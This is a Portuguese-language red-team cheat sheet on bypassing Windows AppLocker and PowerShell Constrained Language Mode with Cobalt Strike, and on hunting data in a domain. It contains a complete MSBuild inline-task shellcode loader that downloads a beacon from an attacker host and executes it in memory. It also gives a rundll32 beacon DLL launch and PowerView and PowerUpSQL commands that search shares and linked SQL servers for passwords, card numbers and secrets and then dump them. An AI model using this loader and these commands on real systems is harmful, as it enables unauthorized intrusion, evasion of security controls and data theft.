# Permissões de Aplicativos

### AppLocker

AppLocker é uma tecnologia de lista de permissões de aplicativos integrada ao sistema operacional Windows. Seu objetivo é restringir aplicativos e scripts que podem ser executados em uma máquina, definidos por meio de um conjunto de políticas enviadas via GPO. As regras podem ser baseadas em atributos de arquivo como editor, nome, versão, hash ou caminho; eles podem ser "permitir" ou negar"; e podem ser atribuídos a um usuário individual ou a um grupo. O AppLocker também alterará o modo de idioma do PowerShell de `FullLanguage` para `ConstrainedLanguage`. Isso restringe os tipos .NET que podem ser usados, evitando `Add-Type` com qualquer C# arbitrário, bem como New-Object em tipos que não são especificamente permitidos. Execute o comando abaixo para saber qual linguagem do Powershell está em uso no momento

```bash
$ExecutionContext.SessionState.LanguageMode
```

A política pode ser lida em dois locais: diretamente no GPO ou no registro local da máquina à qual está aplicada. A leitura do GPO é o mesmo processo do LAPS - encontre o GPO, baixe o arquivo `Registry.pol` do `gpcfilesyspath` e analise com `Parse-PolFile`.

```bash
powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Get-DomainGPO -Domain <domain.local> | ? { $_.DisplayName -like "*AppLocker*" } | select displayname, gpcfilesyspath
```

Caso encontre algum resultado, baixe o leia o arquivo

```bash
# Jogue localmente para a máquina após executar o comando abaixo
download <gpcfilesyspath>\Machine\Registry.pol

# Lendo o arquivo (Windows fora do CS)
Parse-PolFile <C:\path\to\Registry.pol>
```

Se quisermos localizar um `KeyName` no registro, basta executar o `regedit` e depois procurar pela chave, por exemplo, `Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\<valor>"`. Alguns desses campos são bem descritivos, analisando bem os valores de `ValueData`, podemos encontrar informaçõs úteis sobre o propósito de cada política. Um fato importante, é que as regras de DLL geralmente não são aplicadas. Isso porque, a Microsoft afirma que isso pode afetar o desempenho do sistema. Nesse cenário, iremos ver o `ValueData` definio como `0`, quando temos o `KeyName` terminado com `Dll`.

###

### LOLBAS (Living Off The Land)

Em resumo, é a utilização de próprios recursos do Windows para realizar bypass e termos acessos que não poderiam ser permitidos. Como exemplo, iremos utilizar o `MSBuild` para realizarmos bypass e montarmos um Beacon. Primeiro, crie um arquivo no host alvo chamado `test.csproj` (ou utilize o nome que preferir), com o seguinte conteúdo.

```bash
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="MSBuild">
   <MSBuildTest/>
  </Target>
   <UsingTask
    TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
     <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[

            using System;
            using System.Net;
            using System.Runtime.InteropServices;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;

            public class MSBuildTest :  Task, ITask
            {
                public override bool Execute()
                {
                    byte[] shellcode;
                    using (var client = new WebClient())
                    {
                        client.BaseAddress = "http://<ip>/";
                        shellcode = client.DownloadData("beacon.bin");
                    }
      
                    var hKernel = LoadLibrary("kernel32.dll");
                    var hVa = GetProcAddress(hKernel, "VirtualAlloc");
                    var hCt = GetProcAddress(hKernel, "CreateThread");

                    var va = Marshal.GetDelegateForFunctionPointer<AllocateVirtualMemory>(hVa);
                    var ct = Marshal.GetDelegateForFunctionPointer<CreateThread>(hCt);

                    var hMemory = va(IntPtr.Zero, (uint)shellcode.Length, 0x00001000 | 0x00002000, 0x40);
                    Marshal.Copy(shellcode, 0, hMemory, shellcode.Length);

                    var t = ct(IntPtr.Zero, 0, hMemory, IntPtr.Zero, 0, IntPtr.Zero);
                    WaitForSingleObject(t, 0xFFFFFFFF);

                    return true;
                }

            [DllImport("kernel32", CharSet = CharSet.Ansi)]
            private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
    
            [DllImport("kernel32", CharSet = CharSet.Ansi)]
            private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

            [DllImport("kernel32")]
            private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            private delegate IntPtr AllocateVirtualMemory(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    
            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            private delegate IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

            }

        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
```

No CS Client, vá no Menu `Site Manager` > `Host File` e configure o `File` para `http_x64.xprocess.bin` e `Local URI` defina como `beacon.bin`. Agora vá no host alvo e execute o comando abaixa para ter acesso ao Beacon.

```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe <C:\path\test.csproj>
```

###

### PowerShell CLM

Se você tentar executar um script ou comando no PowerShell e vir um erro como `only core types in this language mode`, saberá que está operando em um ambiente restrito. Se você encontrar um desvio do AppLocker para executar código arbitrário, também poderá sair do `PowerShell Constrained Language Mode` usando um runspace não gerenciado do PowerShell. Execute o comando abaixo para saber qual linguagem do Powershell está em uso no momento

```bash
$ExecutionContext.SessionState.LanguageMode
```

#### Powerpick

Utilizando o powerpick para ter a linguagem `FullLanguage`.

```bash
powerpick $ExecutionContext.SessionState.LanguageMode
```

#### MSBuild

Isso também pode ser feito em C# (usando o MSBuild como exemplo anterior). Crie um arquivo chama `test2.csproj` com o seguinte conteúdo:

```bash
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="MSBuild">
   <MSBuildTest/>
  </Target>
   <UsingTask
    TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
     <Task>
     <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[

            using System;
            using System.Linq;
            using System.Management.Automation;
            using System.Management.Automation.Runspaces;

            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;

            public class MSBuildTest :  Task, ITask
            {
                public override bool Execute()
                {
                    using (var runspace = RunspaceFactory.CreateRunspace())
                    {
                      runspace.Open();

                      using (var posh = PowerShell.Create())
                      {
                        posh.Runspace = runspace;
                        posh.AddScript("$ExecutionContext.SessionState.LanguageMode");
                                                
                        var results = posh.Invoke();
                        var output = string.Join(Environment.NewLine, results.Select(r => r.ToString()).ToArray());
                        
                        Console.WriteLine(output);
                      }
                    }

                return true;
              }
            }

        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
```

Agora execute:

```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe <C:\path\test2.csproj>
```

###

### Beacon DLL

Conforme mencionado anteriormente, a imposição de DLL geralmente não é habilitada, o que nos permite chamar funções exportadas de DLLs no disco via rundll32. Faça upload do arquivo `http_x64.dll` para a máquina alvo e depois execute:

```bash
C:\Windows\System32\rundll32.exe <C:\path\to\http_x64.dll,StartW>
```

###

### Data Hunting & Exifiltration

#### PowerView

`Find-DomainShare` do `PowerView` procura compartilhamentos de computador no Domínio. O parâmetro `-CheckShareAccess` mostra apenas os compartilhamentos aos quais o usuário atual tem acesso de leitura.

```bash
powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Find-DomainShare -CheckShareAccess
```

`Find-InterestingDomainShareFile` vai um passo além e pesquisa cada compartilhamento, retornando resultados onde as strings especificadas aparecem no caminho

```bash
powershell Find-InterestingDomainShareFile -Include *.doc*, *.xls*, *.csv, *.ppt*, *.sql, *.txt
```

Caso ache algum arquivo que seja interessante, é possível lê-lo remotamente

```bash
powershell gc \\<host.subdomain.domain.local>\<dir$>\<file>
```

#### PowerUpSQL

PowerUpSQL fornece vários cmdlets projetados para pesquisa e extração de dados. Um desses cmdlets é `Get-SQLColumnSampleDataThreaded`, que pode pesquisar uma ou mais instâncias em busca de bancos de dados que contenham palavras-chave específicas nos nomes das colunas. Altere as palavras-chave de acordo com a cenário em que esteja atuando e é claro, utilize um usuário com os devidos privilégios.

```bash
powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1
powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "senha,email,mail,pass,credit,secret,key,card" -SampleSize 5 | select instance, database, column, sample | ft -autosize
```

Até então, isso só pode pesquisar as instâncias às quais você tem acesso direto, pois ele não atravessará nenhum link SQL. Para pesquisar os links, precisamos utilizar o seguinte comando:

```bash
powershell Get-SQLQuery -Instance "<Instance-host-sql-2>" -Query "select * from openquery(""<host-sql-1.domain.local>"", 'select * from information_schema.tables')"
```

Na saída do comando acima, podemos ver o nome da(s) tabela(s), então agora podemos ver as coluna dessa(s) tabela(s).

```bash
powershell Get-SQLQuery -Instance "<Instance-host-sql-2>" -Query "select * from openquery(""<host-sql-1.domain.local>"", 'select column_name from master.information_schema.columns where table_name=''<tabela>''')"
```

E por último, vamos fazeer um dump dos dados dessa tabela.

```bash
powershell Get-SQLQuery -Instance "<Instance-host-sql-2>" -Query "select * from openquery(""<host-sql-1.domain.local>"", 'select <coluna_1,coluna_2,coluna_3,coluna_4> from master.dbo.<tabela>')"
```

###

### Sites

```bash
# LOLBAS
https://lolbas-project.github.io/
```
